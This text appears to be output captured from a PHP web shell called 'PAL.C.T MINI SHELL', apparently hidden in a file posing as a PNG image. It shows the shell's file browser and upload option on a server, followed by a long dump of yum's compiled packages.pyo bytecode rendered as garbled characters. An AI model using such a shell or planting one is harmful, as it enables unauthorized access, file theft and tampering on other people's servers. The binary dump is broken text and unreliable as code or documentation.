php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/python2.6/site-packages/yum/
upload
files >> //usr/lib/python2.6/site-packages/yum/packages.pyo

[c@sdZddkZddkZddkZddkZddkZddkZddkZddkZddk	Z	ddk
lZlZddk
lZddkZ
ddklZlZddkZddkZddkZddkTddkZddkZeiidddklZlZy+ddkZeed	o
eZnWne j
o
eZnXddk!Z!ddk"Z"d
Z#dZ$e%dZ&d
ddZ'dfdYZ(dfdYZ)de*fdYZ+de*fdYZ,dfdYZ-de+e,fdYZ.dZ/de.fdYZ0dfd YZ1d!fd"YZ2d#d
>Z3d#d#>Z4d#d$>Z5d#d%>Z6d#d&>Z7d#d'>Z8d#d(>Z9d#d)>Z:d#d*>Z;d#d+>Z<d,e*fd-YZ=d.e=fd/YZ>d0fd1YZ?d2e?fd3YZ@e)d4ZAd
eA_Bd5e0fd6YZCd7e0fd8YZDd9eDfd:YZEdS(;sA
Classes and functions dealing with rpm package representations.
iN(tPopentPIPE(t
RpmUtilsError(tflagToStringtstringToVersion(t*tmedia(t
URLGrabbertURLGrabErrortgetcCs_|i|i|i}}}|i|i|i}}}tii|||f|||fS(s4
    Compare two Package or PackageEVR objects.
    (tepochtversiontreleasetrpmUtilst	miscutilst
compareEVR(tpo1tpo2te1tv1tr1te2tv2tr2((s0/usr/lib/python2.6/site-packages/yum/packages.pytcomparePoEVR8scCst|i|i|i}}}|i|i|i}}}||jotS||jotS||jotStS(sA
    Compare two Package or PackageEVR objects for equality.
    (R
RRtFalsetTrue(RRRRRRRR((s0/usr/lib/python2.6/site-packages/yum/packages.pytcomparePoEVREQ?s


cCsMh}x@|D]8}|i\}}}}}|p@|i}|i}|i}|i}|i}n|}	d||f}
d||||f}d||f}d|||f}
d|||||f}d|||||f}xO|	|
|||
||gD]2}||jog||<n||i|qWq
W|S(stake a list of pkg objects and return a dict the contains all the possible
       naming conventions for them eg: for (name,i386,0,1,1)
       dict[name] = (name, i386, 0, 1, 1)
       dict[name.i386] = (name, i386, 0, 1, 1)
       dict[name-1-1.i386] = (name, i386, 0, 1, 1)       
       dict[name-1] = (name, i386, 0, 1, 1)       
       dict[name-1-1] = (name, i386, 0, 1, 1)
       dict[0:name-1-1.i386] = (name, i386, 0, 1, 1)
       dict[name-0:1-1.i386] = (name, i386, 0, 1, 1)
       s%s.%ss%s-%s-%s.%ss%s-%ss%s-%s-%ss%s:%s-%s-%s.%ss%s-%s:%s-%s.%s(tpkgtuptlowertappend(tpkgst	casematchtpkgdicttpkgtntatetvtrtnametnameArchtnameVerRelArchtnameVert
nameVerReltenvratnevratitem((s0/usr/lib/python2.6/site-packages/yum/packages.pytbuildPkgRefDictJs.
is$repo-epoch-name-version-release-archcCst|t|}g}g}g}x|D]}|p|i}n||jo|i||||=q.ti|o|i}	ti|}
t	i
|
}d}x@|	D]8}
|i|
o"|i||
||
=d}qqW|p|i|q q.|i|q.Wti
|}|djo"ti
|}ti
|}n@|djo%d}||}||}ntd||||fS(s,matches up the user request versus a pkg list:
       for installs/updates available pkgs should be the 'others list' 
       for removes it should be the installed list of pkgs
       takes an optional casematch option to determine if case should be matched
       exactly. Defaults to not matching.iis$repo-epoch-name-version-release-archsrepo-pkgkeycSsDh}x1|D])}d|ii|if}|||<q
W|iS(Ns%s%s(trepotidtpkgKeytvalues(RtuR"tmark((s0/usr/lib/python2.6/site-packages/yum/packages.pyt	pkguniquessBad value for unique: %s(R0tboolRtextendtmisctre_globtkeystfnmatcht	translatetretcompiletmatchRtuniquet
ValueError(RtusercommandsR RBR!t
exactmatchtmatchedt	unmatchedtcommandttrylisttrestringtregextfounditR/R7((s0/usr/lib/python2.6/site-packages/yum/packages.pyt
parsePackageslsF


	
tFakeSackcBs)eZdZdZdZdZRS(s, Fake PackageSack to use with FakeRepositorycCsdS(N((tself((s0/usr/lib/python2.6/site-packages/yum/packages.pyt__init__scCstS(sb Is calling pkg.returnFileEntries(primary_only=True) faster than
            using searchFiles(). (R(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pythave_fastReturnFileEntriesscCsdS(sNdelete a pkgobject, do nothing, but make localpackages work with --skip-brokenN((ROtobj((s0/usr/lib/python2.6/site-packages/yum/packages.pyt
delPackages(t__name__t
__module__t__doc__RPRQRS(((s0/usr/lib/python2.6/site-packages/yum/packages.pyRNs		tFakeRepositorycBs;eZdZdZdZdZdZdZRS(s8Fake repository class for use in rpmsack package objectscCst}d|jotii|}t}n|ido|d }t}ng}|o|idnx8|D]0}t|djo
d}n|i|qxWdi||_	dS(s? Set the repoid, but because it can be random ... clean it up. t/s.rpmiit?tN(
RtostpathtbasenameRtendswithRtordtjoinR2(ROtrepoidt	pathbasedtbytestbyte((s0/usr/lib/python2.6/site-packages/yum/packages.pyt_set_cleanup_repoids 




cCs)|i||i|_t|_dS(N(ReR2R(RNtsack(RORa((s0/usr/lib/python2.6/site-packages/yum/packages.pyRPs
cCs8|i|ijodS|i|ijodSdSdS(Niii(R2(ROtother((s0/usr/lib/python2.6/site-packages/yum/packages.pyt__cmp__s
cCs
t|iS(N(thashR2(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pyt__hash__scCs|iS(N(R2(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pyt__str__s(RTRURVReRPRhRjRk(((s0/usr/lib/python2.6/site-packages/yum/packages.pyRWs				t
PackageObjectcBseZdZdZdZeddZdZeddZdZ	dZ
d	Zd
ZdZ
dZd
ZdZdZdZdZdZdZdZdZeddZdZRS(sZBase Package Object - sets up the default storage dicts and the
       most common returnscCs:d|_d|_d|_d|_d|_g|_dS(N(tNoneR(RRR
tarcht
_checksums(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pyRPs					cCsb|idjo&d|i|i|i|if}n)d|i|i|i|i|if}|S(Nt0s%s-%s-%s.%ss%s:%s-%s-%s.%s(R
R(RRRn(ROtout((s0/usr/lib/python2.6/site-packages/yum/packages.pyt	_ui_envras		
tfgetcCs
|iS((Rr(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pyt<lambda>scCsb|idjo&d|i|i|i|if}n)d|i|i|i|i|if}|S(NRps%s-%s-%s.%ss%s-%s:%s-%s.%s(R
R(RRRn(RORq((s0/usr/lib/python2.6/site-packages/yum/packages.pyt	_ui_nevras		
cCs
|iS((Ru(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pyRtscCs|iS(N(tui_envra(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pyRkscCsE|pdSt|i|i}|djot||}n|S(s< Compare package to another one, only rpm-version ordering. ii(tcmpR(R(RORgtret((s0/usr/lib/python2.6/site-packages/yum/packages.pytverCMPs
cCs|i|}|djot|i|i}n|djo9t|do)t|dot|i|i}n|S(s4 Compare packages, this is just for UI/consistency. iRa(RyRwRnthasattrRa(RORgRx((s0/usr/lib/python2.6/site-packages/yum/packages.pyRhs
-cCsd|ptS|i|ijotSt|do,t|do|i|ijotSntS(se Compare packages for yes/no equality, includes everything in the
            UI package comparison. Ra(RRRzRaR(RORg((s0/usr/lib/python2.6/site-packages/yum/packages.pyt__eq__&s 	cCs||jptStS(N(RR(RORg((s0/usr/lib/python2.6/site-packages/yum/packages.pyt__ne__1s
cCs
t||S(N(tgetattr(ROtkey((s0/usr/lib/python2.6/site-packages/yum/packages.pyt__getitem__6scCs@|pdSt|i|i}|djotSt||S(s< Compare package to another one, only rpm-version equality. iN(RmRwR(RR(RORgRx((s0/usr/lib/python2.6/site-packages/yum/packages.pytverEQ9s
cCs|pdS|i|S(s> Compare package to another one, only rpm-version inequality. N(RmR(RORg((s0/usr/lib/python2.6/site-packages/yum/packages.pytverNEAscCs|i|djS(s; Uses verCMP, tests if the other _rpm-version_ is <  ours. i(Ry(RORg((s0/usr/lib/python2.6/site-packages/yum/packages.pytverLTFscCs|i|djS(s; Uses verCMP, tests if the other _rpm-version_ is <= ours. i(Ry(RORg((s0/usr/lib/python2.6/site-packages/yum/packages.pytverLEIscCs|i|djS(s; Uses verCMP, tests if the other _rpm-version_ is >  ours. i(Ry(RORg((s0/usr/lib/python2.6/site-packages/yum/packages.pytverGTLscCs|i|djS(s; Uses verCMP, tests if the other _rpm-version_ is >= ours. i(Ry(RORg((s0/usr/lib/python2.6/site-packages/yum/packages.pytverGEOscCs)d|iit|tt|fS(Ns<%s : %s (%s)>(t	__class__RTtstrthexR2(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pyt__repr__SscCs&tidtiddt||S(Ns8returnSimple() will go away in a future version of Yum.
t
stackleveli(twarningstwarntErrorstYumFutureDeprecationWarningR}(ROtvarname((s0/usr/lib/python2.6/site-packages/yum/packages.pytreturnSimpleVs	cCs|iS(N(Ro(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pytreturnChecksums[scCs
|iS((R(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pyRt^scCs3x,|iD]!\}}}|o||fSq
WdS(N(t	checksums(ROtcsumtypetcsumtcsumid((s0/usr/lib/python2.6/site-packages/yum/packages.pytreturnIdSum`s
(RTRURVRPRrtpropertyRvRutui_nevraRkRyRhR{R|RRRRRRRRRRRR(((s0/usr/lib/python2.6/site-packages/yum/packages.pyRls.			
	
																tRpmBasecBsEeZdZdZdZdZdZdZedZ	dZ
dZd	Zd
Z
dZded
ZedZdZdZddZeddZeddZeddZeddZeddZeddZeddZeddZeddZeddZeddZeddZ edd Z!edd!Z"edd"Z#edd#Z$edd$Z%edd%Z&edd&Z'edd'Z(d(Z)edd)Z*d*Z+d+d,Z,RS(-s2return functions and storage for rpm-specific datacCsh|_g|id<g|id<g|id<g|id<h|_g|id<g|id<g|id<g|_g|_d|_dS(Nt	obsoletest	conflictstrequirestprovidestfiletdirtghost(tprcotfilest
_changelogtlicensesRmt_hash(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pyRPls	



	


		cCs@|ptS|i|ijotS|i|ijotStS(N(RRRaR(RORg((s0/usr/lib/python2.6/site-packages/yum/packages.pyR{|scCs||jptStS(N(RR(RORg((s0/usr/lib/python2.6/site-packages/yum/packages.pyR|s
cCst|i|i|iS(N(t
PackageEVRR
RR(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pyt	returnEVRscCs[|idjoDd|ii|i|i|i|i|if}t	||_n|iS(Ns%s - %s:%s-%s-%s.%s(
RRmR1R2R
R(RRRnRi(ROtmystr((s0/usr/lib/python2.6/site-packages/yum/packages.pyRjs
cCsd|ii|g}|oDg}x6|D].}|dpq)n|iti|q)W|S|S(s9return list of provides, requires, conflicts or obsoletesi(RR	RR:tprco_tuple_to_string(ROtprcotypet	printabletprcostresultsR((s0/usr/lib/python2.6/site-packages/yum/packages.pyt
returnPrcosc
CsY||ijodSt|i|djo||i|jodSnt|dp)hd	d6d	d6d	d6d	d6|_n|i|d	jot|i||i|<n||i|jodSto~|\}}\}}}|d	j	o|i||SxE|i|D]0\}}	\}
}}t	i
||odSqWndS(
sBreturns 1 or 0 if the pkg contains the requested tuple/tuple rangeiiit_prco_lookupRRRRN(RtlenRzRmRtsetRtinPrcoRangeRti18ntstr_eq(
RORt	prcotupletreqntreqftreqetreqvtreqrR#tfR%R&R'((s0/usr/lib/python2.6/site-packages/yum/packages.pyt	checkPrcos*	

cCst|i||S(sreturns true if the package has a the prco that satisfies 
           the reqtuple range, assume false.
           Takes: prcotype, requested prco tuple(R8t
matchingPrcos(RORtreqtuple((s0/usr/lib/python2.6/site-packages/yum/packages.pyRscCs<|\}}\}}}g}x|i|D]\}	}
\}}}
ti||	pq.n|
djo
d}
n|
djo_|djoR|djo
|i}n|djo
|i}n|
djo
|i}
qntii	||	|
|||
ff}|o#|i
|	|
|||
ffq.q.W|S(Nt=tEQR(RRRRmR
tvertrelR
RtrangeCompareR(RORRRRRRRtresultR#RR%R&R'RF((s0/usr/lib/python2.6/site-packages/yum/packages.pyRs(






	'cCs|id|otS|didopti|do
t}nt}|id||id||id|}|d|jotSntS(scheck to see if the package object provides for the requirement
           passed, including searching filelists if the requirement is a file
           depRiRXRRR(RRt
startswithR:tre_primary_filenameRtreturnFileEntries(RORtpri_onlyR((s0/usr/lib/python2.6/site-packages/yum/packages.pytprovides_fors
	cCs|iS(sreturn changelog entries(R(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pytreturnChangelogsRcCs|io||ijon|o[|djo
ti}n
ti}g}|i|D]}||o||qVqV~S|i|SngS(s}return list of files based on type, you can pass primary_only=True
           to limit to those files in the primary repodataR(RR:tre_primary_dirnameR(ROtftypetprimary_onlyRAt_[1]tfn((s0/usr/lib/python2.6/site-packages/yum/packages.pyRs


	8cCs|og}xt|iiD]c}|djo
ti}n
ti}x*|i|D]}||oPqTqTWq|i|qW|S|iiS(sreturn list of types of files in the package, you can pass
           primary_only=True to limit to those files in the primary repodataR(RR<R:RRR(RORRxRRAR((s0/usr/lib/python2.6/site-packages/yum/packages.pytreturnFileTypess

	
	cCspt|d|pKg}|i|D]\}}}||q(~}t|d||nt|d|S(Nt_cache_prco_names_(RzRtsetattrR}(RORRR#RR&tdata((s0/usr/lib/python2.6/site-packages/yum/packages.pytreturnPrcoNames%s3cCs tidtidd|iS(Ns<getProvidesNames() will go away in a future version of Yum.
Ri(RRRtYumDeprecationWarningtprovides_names(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pytgetProvidesNames+s	RcCsCtidtidd|io||ijo|i|SgS(Ns_simpleFiles() will go away in a future version of Yum.Use returnFileEntries(primary_only=True)
Ri(RRRRR(ROR((s0/usr/lib/python2.6/site-packages/yum/packages.pytsimpleFiles0s
	RscCs|iddS(RR(R(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pyRt8scCs|iddS(RR(R(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pyRt9scCs|iddS(RR(R(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pyRt:scCs
|idS(R(R(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pyRt;scCs
|idS(tstrong_requires(R(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pyRt<scCs
|idS(R(R(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pyRt=scCs
|idS(R(R(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pyRt>scCs
|idS(R(R(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pyRt?scCs
|idS(R(R(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pyRt@scCs
|idS(R(R(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pyRtAscCs
|idS(R(R(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pyRtBscCs
|idS(R(R(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pyRtCscCs
|idS(R(R(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pyRtDscCs|idtS(R(RR(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pyRtEscCs|idtS(R(RR(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pyRtFscCs|idtS(R(RR(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pyRtGscCs|idtS(R(RR(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pyRtHscCs|idtS(R(RR(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pyRtIscCs
|iS((R(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pyRtJscCs
|iS((R(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pyRtKscCst|do|iSt|doP|ioFtii|i\}}}}}||ijo||_|Sn|i|_|iS(s\ Return the "base name" of the package, atm. we can only look at
            the sourcerpm. t_base_package_name_rett	sourcerpm(RzRRR
Rt
splitFilenameR((ROR#R&R'R%R$((s0/usr/lib/python2.6/site-packages/yum/packages.pyt_getBaseNameMs$		cCs
|iS((R(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pyRt]scCs|iiiS(sb Is calling pkg.returnFileEntries(primary_only=True) faster than
            using searchFiles(). (R1RfRQ(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pyRQ_sicCs|id|i|i|iff}g}xQ|D]I}|id|o0|i||ot||joPqzq1q1W|S(s Returns list of obsoleters that obsolete this package. Note that we
            don't do obsoleting loops. If limit is != 0, then we stop after
            finding that many. RR(R(R
RRRRR(ROt
obsoleterstlimittprovtupRxtobspo((s0/usr/lib/python2.6/site-packages/yum/packages.pytobsoletedByds$

(-RTRURVRPR{R|RRjRRRRRRRRRRRRRtfilelisttdirlistt	ghostlistRRRRRRtrequires_nameststrong_requires_namestconflicts_namestobsoletes_namestprovides_printtrequires_printtstrong_requires_printtconflicts_printtobsoletes_printt	changelogtEVRRtbase_package_nameRQR(((s0/usr/lib/python2.6/site-packages/yum/packages.pyRisR						"								RcBsVeZdZdZdZdZdZdZdZdZ	dZ
RS(	s
    A comparable epoch, version, and release representation. Note that you
    almost certainly want to use pkg.verEQ() or pkg.verGT() etc. instead.
    cCs1||_||_||_||_||_dS(N(R
RRRR(ROR%R&R'((s0/usr/lib/python2.6/site-packages/yum/packages.pyRP{s
				cCs7tii|i|i|if|i|i|ifS(N(R
RRR
RR(RORg((s0/usr/lib/python2.6/site-packages/yum/packages.pytcomparescCs|i|djotStS(Ni(RRR(RORg((s0/usr/lib/python2.6/site-packages/yum/packages.pyt__lt__scCs|i|djotStS(Ni(RRR(RORg((s0/usr/lib/python2.6/site-packages/yum/packages.pyt__gt__scCs|i|djotStS(Ni(RRR(RORg((s0/usr/lib/python2.6/site-packages/yum/packages.pyt__le__scCs|i|djotStS(Ni(RRR(RORg((s0/usr/lib/python2.6/site-packages/yum/packages.pyt__ge__scCs
t||S(N(R(RORg((s0/usr/lib/python2.6/site-packages/yum/packages.pyR{scCs||jptStS(N(RR(RORg((s0/usr/lib/python2.6/site-packages/yum/packages.pyR|s
(RTRURVRPRRRRRR{R|(((s0/usr/lib/python2.6/site-packages/yum/packages.pyRts							tYumAvailablePackagecBseZdZd(dZdZeddZdZdZ	dZ
dZd	Zd
Z
eddZeeZedZd
ZeeZdZeeZdZeeZdZdZdZdZdZdZdZedZdZdZ dZ!dZ"dZ#dZ$dZ%dZ&e'd Z(d!Z)d"Z*d#Z+d$Z,d%Z-d&d'Z.RS()s}derived class for the  packageobject and RpmBase packageobject yum
       uses this for dealing with packages in a repositorycCsti|ti||i|_||_d|_t|_	d|_
|djo)|i||i|_
|i|_n|i|i|i|i|if|_dS(N(RlRPRR2RaR1RmtstateRt_loadedfilest_verify_local_pkg_cachetimportFromDictRRRRR(RnR
R(ROR1R!((s0/usr/lib/python2.6/site-packages/yum/packages.pyRPs

				

cCs|idjoyd|ijoid}|iidj	o=d|ijo-|ii|iijod|ii}nd|ii|S|iS(s This reports the repo the package is from, we integrate YUMDB info.
            for RPM packages so a package from "fedora" that is installed has a
            ui_from_repo of "@fedora". Note that, esp. with the --releasever
            option, "fedora" or "rawhide" isn't authoritive.
            So we also check against the current releasever and if it is
            different we also print the YUMDB releasever. This means that
            installing from F12 fedora, while running F12, would report as
            "@fedora/13". t	installedt	from_repoRZt
releaseverRXt@N(Rat
yumdb_infotrpmdbRRmR(ROtend((s0/usr/lib/python2.6/site-packages/yum/packages.pyt
_ui_from_repos	 RscCs
|iS((R(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pyRtscCs|iii|dS(sremove self from package sackN(R1RfRS(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pytexcludescCsJ|idjo d|i|i|if}nd|i|if}|S(sAreturns a printable version string - including epoch, if it's setRps%s:%s-%ss%s-%s(R
RR(ROR((s0/usr/lib/python2.6/site-packages/yum/packages.pytprintVers cCs#|i}d|i|i|fS(Ns%s.%s %s(RR(Rn(ROR((s0/usr/lib/python2.6/site-packages/yum/packages.pytcompactPrintscCs|iS(N(tpackagesize(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pyt_sizescCs|iS(N(trelativepath(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pyt_remote_pathscCs`|i}|o3|ddjo|d}nti||iSti|iid|iS(sreturns a URL that can be used for downloading the package.
        Note that if you're going to download the package in your tool,
        you should use self.repo.getPackage.iRXi(tbasepathturlparseturljointremote_pathR1turls(ROtbase((s0/usr/lib/python2.6/site-packages/yum/packages.pyt_remote_urls	cCs
|iS((R(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pyRtscCs
|iS((R(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pyRtscCst|do|iSd}t|ip|i|_|iS|idd}||}|id}|djo|d|d!}n||_|iS(sDReturns the name of the last person to do a commit to the changelog.t_committer_retcSsNg}x8|D]0}t|djo
d}n|i|q
Wdi|S(s6 does .encode("ascii", "replace") but it never fails. iRYRZ(R_RR`(txRxtval((s0/usr/lib/python2.6/site-packages/yum/packages.pyt	_nf2asciis
iis> i(RzRRRtpackagertfind(RORRtix((s0/usr/lib/python2.6/site-packages/yum/packages.pyt
_committers		
	cCsWt|do|iSt|ip|i|_|iS|idd|_|iS(s5Returns the time of the last commit to the changelog.t_committime_reti(RzRRRt	buildtime(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pyt_committimescCs|iddS(sReturns the 'default' checksumii(R(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pyt	_checksum"scCsj|idjodSti|i\}}}}}|djo#t|djodSt|SdS(NRi(RRmRturlsplitRtint(ROtschemetnetlocR\tquerytfragid((s0/usr/lib/python2.6/site-packages/yum/packages.pyt
getDiscNum's!
cCsa|i}tii}ytii||}Wn&tij
otid|nX|S(Ns"Package Header %s: RPM Cannot open(	tlocalPkgR
ttransactiontinitReadOnlyTransactionRthdrFromPackageRRt	RepoError(ROtrpmfilettsthdr((s0/usr/lib/python2.6/site-packages/yum/packages.pytreturnHeaderFromPackage1scCstii|ioVy#ti|i}|d}Wqtitfj
oti	d|qXnti	d||S(sTreturns an rpm header object from the package object's local
           header cacheisPackage Header %s: Cannot opens Package Header %s: Not Available(
R[R\texiststlocalHdrtrpmtreadHeaderListFromFileterrort
IndexErrorRR)(ROthlistR,((s0/usr/lib/python2.6/site-packages/yum/packages.pytreturnLocalHeader:scCsGt|dp0tii|i}|iid||_n|iS(sBreturn path to local package (whether it is present there, or not)t	localpathRX(RzR[R\R]RR1tpkgdirR6(ROtrpmfn((s0/usr/lib/python2.6/site-packages/yum/packages.pyR%JscCsUt|dp>tii|i}|d d}|iid||_n|iS(sWreturn path to local cached Header file downloaded from package 
           byte rangesthdrpathis.hdrRX(RzR[R\R]RR1thdrdirR9(ROtpkgnamethdrname((s0/usr/lib/python2.6/site-packages/yum/packages.pyR/Qs
cCsyti|i}Wntj
o
}tSXt|doh|io^|i}|i|ijo>|i|ijo+|i	|i	jo|i
|i
jotSn|i\}}y%t
i||id|i}Wntij
otSX||jotS||_tS(s^check the package checksum vs the localPkg
           return True if pkg is good, False if notRtdatasize(R[tstatR%tOSErrorRRzRtst_inotst_devtst_mtimetst_sizeRRR:tchecksumRRt	MiscError(ROtnstR%tostt	csum_typeRtfilesum((s0/usr/lib/python2.6/site-packages/yum/packages.pytverifyLocalPkg\s,
		
	cCs}tdjodSt|dot|dS|ipdSyti|id}WndSXt|d||S(s Get the user.xdg.origin.url value from the local pkg. ... if it's
            present. We cache this so we can access it after the file has been
            deleted (keepcache=False). t__cached_localXattrUrlsuser.xdg.origin.urlN(txattrRmRzR}RJR	R%R(RORx((s0/usr/lib/python2.6/site-packages/yum/packages.pyt_localXattrUrls

cCs
|iS((RM(R((s0/usr/lib/python2.6/site-packages/yum/packages.pyRtscCs&tidtiddti|S(s1convert the prco tuples into a nicer human strings9prcoPrintable() will go away in a future version of Yum.
Ri(RRRRR:R(ROt	prcoTuple((s0/usr/lib/python2.6/site-packages/yum/packages.pyt
prcoPrintables	cCs|iS(s.return a list of requires in normal rpm format(R(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pytrequiresListscCs|i|idfgS(Ni(t
checksum_typetpkgId(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pyRscCst|doI|i\}}}}}||_||_||_||_||_nt|do$|id|_|id|_	nt|do4|i
d|_|i
d|_|i
d|_
nt|d	oF|iid
}|djo
d-}n||_|id|_nt|d
o$|id|_|id|_nt|dosx=ddddddddgD]}t|||i|qW|iidd|_|ii|idnt|doZxW|iD]H}	|i|	}
|
|ijog|i|
<n|i|
i|	qWnt|dox|iD]}x|i|D]r}|d}
|id}|id}|id }|id!}|i|i|
||||ffqvWqbWnt|d"o^x[|iD]L}|id#}|id$}|id%}|ii|||fqWnt|d&o|i d'}|i d$}|i d(}|d-jp|i!d)jo
d*}n$|i!d+jo
d,}nd*}|i"i|||fnd-S(.s^handles an mdCache package dictionary item to populate out 
           the package informationR.ttimetbuildRtsizetpackagetarchiveRtlocationRRZthrefthdrangetstartRtinfotsummarytdescriptionRtgroupt	buildhostRturltvendors
tlicenseRRR(tflagsR
RRRtdatetvaluetauthorRDttypetpkgidtNOitYESiN(#RzR.R(R
RRnRRSRtfiletimeRURtarchivesizet
installedsizeRXR	RmRR	RZthdrstartthdrendRR\R]treplaceRRRRRRRDtupperRo(ROR!R#R%R&R'R$RaR/RRtrtypetrdictR(RtcdictRettextRgtctypeRR((s0/usr/lib/python2.6/site-packages/yum/packages.pyRs				


	



2
!


 

cCs\tii|i}tii|i}dti|dtti|dtf}|S(Ns$<location xml:base="%s" href="%s"/>
tattrib(R[R\tdirnamet
remote_urlR]R:tto_xmlR(RORRYtmsg((s0/usr/lib/python2.6/site-packages/yum/packages.pyt_return_remote_locations
+cCsd}}|iotiti|i}n|iotiti|i}n|id\}}}d|i|i|i|i	|i
||titi|ititi|i|||i
|i|i|i|if}||i7}|S(NRZis3
  <name>%s</name>
  <arch>%s</arch>
  <version epoch="%s" ver="%s" rel="%s"/>
  <checksum type="%s" pkgid="YES">%s</checksum>
  <summary>%s</summary>
  <description>%s</description>
  <packager>%s</packager>
  <url>%s</url>
  <time file="%s" build="%s"/>
  <size package="%s" installed="%s" archive="%s"/>
(RR:t
to_unicodeR{RaRR(RnR
RRR]R^RlRRRnRmR}(RORRaRHRRR|((s0/usr/lib/python2.6/site-packages/yum/packages.pyt_dump_base_itemss


	cCsd}|io|dti|i7}n|d7}|io|dti|i7}n|d7}|io|dti|i7}n|d7}|io|dti|i7}n|d	7}|io|d
ti|i7}n|d|i|if7}||i	d7}||i
7}||i	d
7}||i	d7}||it7}|ddjo|d7}n|d7}|S(Ns  <format>
s"    <rpm:license>%s</rpm:license>
s    <rpm:license/>
s     <rpm:vendor>%s</rpm:vendor>
s    <rpm:vendor/>
s    <rpm:group>%s</rpm:group>
s    <rpm:group/>
s&    <rpm:buildhost>%s</rpm:buildhost>
s    <rpm:buildhost/>
s&    <rpm:sourcerpm>%s</rpm:sourcerpm>
s+    <rpm:header-range start="%s" end="%s"/>RRRis
s  </format>(
RcR:R{RbR_R`RRoRpt	_dump_pcot_dump_requirest_dump_filesR(ROR|((s0/usr/lib/python2.6/site-packages/yum/packages.pyt_dump_format_itemss4









c
Cs=d}t||}|od|}nxt|D]\}}\}}}dti|dt}	|o|	dti|dt7}	|o!|	dti|dt7}	n|o!|	dti|dt7}	n|o!|	dti|dt7}	qn|	d	7}	||	7}q7W|o|d
|7}n|S(NRZs
    <rpm:%s>
s      <rpm:entry name="%s"Rxs flags="%s"s epoch="%s"s	 ver="%s"s	 rel="%s"s/>
s
    </rpm:%s>(R}tsortedR:R{R(
ROtpcotypeR|tmylistR(RdR%R&R't	pcostring((s0/usr/lib/python2.6/site-packages/yum/packages.pyRAs(
!!%
c	Csd}|p1|id}|id}|id}n@|iddt}|iddt}|iddt}x+t|D]}|dti|7}qWx+t|D]}|dti|7}qWx+t|D]}|dti|7}qW|S(	Ns
RRRRs    <file>%s</file>
s    <file type="dir">%s</file>
s!    <file type="ghost">%s</file>
(RRRR:R{(ROtprimaryR|RtdirstghostsR((s0/usr/lib/python2.6/site-packages/yum/packages.pyRWs$


cCs
tdS(N(tNotImplementedError(RO((s0/usr/lib/python2.6/site-packages/yum/packages.pyt_requires_with_prelsc
Cs|i}d}|o
d}nt|do|iotd|}|oft|d}g}xC|D];}|dido||joqsn|i|qsW|}qnd}xt|D]\}}	\}
}}}
|idoqn||ijp||i|i	|i
jo>|	pqqq|id	||	|
||ffoqqqnd
ti
|dt}|	o|dti
|	dt7}|
o!|d
ti
|
dt7}n|o!|dti
|dt7}n|o!|dti
|dt7}q*n|
djo|d|
7}n|d7}||7}|d7}qW|o|d7}n|djodS|S(sreturns deps in formatRZs
    <rpm:requires>
t_collapse_libc_requirescSs|didS(is	libc.so.6(R(R((s0/usr/lib/python2.6/site-packages/yum/packages.pyRtwsiis	libc.so.6srpmlib(Rs      <rpm:entry name="%s"Rxs flags="%s"s epoch="%s"s	 ver="%s"s	 rel="%s"Rps	 pre="%s"s/>
is    </rpm:requires>(Rpi(RRzRtfilterRRRRRRRRR:R{R(RORR|t
libc_requirestbesttnewlisttitusedR(RdR%R&R'tpret
prcostring((s0/usr/lib/python2.6/site-packages/yum/packages.pyRosZ
!
%!!%



c	Cs|ipdSd}|p
|i}n|i| }d}d}xt|D]~\}}}||jo
d}n|d7}|}||7}|dti|dttit|ti|f7}qOW|S(NRZs
iis0<changelog author="%s" date="%s">%s</changelog>
Rx(RtreversedR:R{RR(	ROt
clog_limitR|tclogstlast_tsthack_tsR+Rgtcontent((s0/usr/lib/python2.6/site-packages/yum/packages.pyt_dump_changelogs&







$cCsOd}|ti|i7}|ti|i7}|d7}ti|S(Ns
